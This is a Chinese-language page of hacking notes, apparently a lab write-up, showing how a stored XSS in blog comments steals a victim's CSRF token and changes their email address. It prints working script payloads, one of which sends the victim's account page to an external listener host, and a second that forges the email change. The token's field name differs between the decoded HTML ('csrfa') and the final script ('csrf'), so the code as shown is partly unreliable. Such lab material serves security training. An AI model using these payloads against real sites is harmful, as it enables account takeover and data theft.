> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-to-bypass-csrf-defenses.md).

# 用于绕过 CSRF 防御的 XSS

### 利用 XSS 绕过 CSRF 防御

这个实验室在博客评论功能中包含一个存储型 XSS 漏洞。目标是利用该漏洞窃取访问评论的用户的 CSRF 令牌，然后用它来修改该账户的电子邮件地址。你可以使用以下凭据连接： `wiener:peter`.

* 页面上有一个用于更新电子邮件的字段。

<figure><img src="/files/1f607e168bdf4e60c1d7c22ae3ffefaa7ac99d71" alt=""><figcaption></figcaption></figure>

* 页面上有一个用于更新电子邮件的字段。
* 通过拦截更新请求，可以观察到这些参数（示例）：
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="/files/0763a212c22f263cff9bb431899ecb6a4d7e2bc7" alt=""><figcaption></figcaption></figure>

策略：

<figure><img src="/files/c9182f52fd5e4463b8c64e7c1c9f0823554ca7df" alt=""><figcaption></figcaption></figure>

1. 发布一条包含脚本的评论，当受害者查看页面时，该脚本会通过同步或异步请求从账户页面恢复 HTML（`/my-account`）。
2. 将该 HTML 外带到一个受控监听服务器（如有需要可用 base64 编码）。
3. 在攻击端恢复 CSRF 令牌，然后在受害者上下文中执行的第二个脚本中，向 `/my-account/change-email` 发送 POST 请求，提供新地址和恢复出的 CSRF 令牌——该请求会使用受害者的会话 cookie，因为脚本是在其浏览器中运行的。

将账户页面的源代码外带到监听服务器（用 Base64 编码）：

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="/files/98701858e3dc7d65606bd70a788df8370284d0c8" alt=""><figcaption></figcaption></figure>

观察到的结果：

* 在我们的基础设施上监听到两个包含以 base64 编码的 HTML 的请求。

<figure><img src="/files/37529a2013192a525aa6867bba7fd1b7f3df2f34" alt=""><figcaption></figcaption></figure>

* 解码后，HTML 包含账户信息：用户名 `administrator`、当前电子邮件，以及位于一个 `输入` 字段中的 CSRF 令牌（例如 `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` 在所提供的示例中）。

<figure><img src="/files/44e39a9b12a64f7ba477afb60b9f3199f95bf167" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>你的用户名是：administrator</p>
    <p>你的电子邮件是：<span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>电子邮件</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> 更新电子邮件 </button>
        </form>
</div>
```

从 HTML 中恢复 CSRF 令牌并提交电子邮件更改（POST）：

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
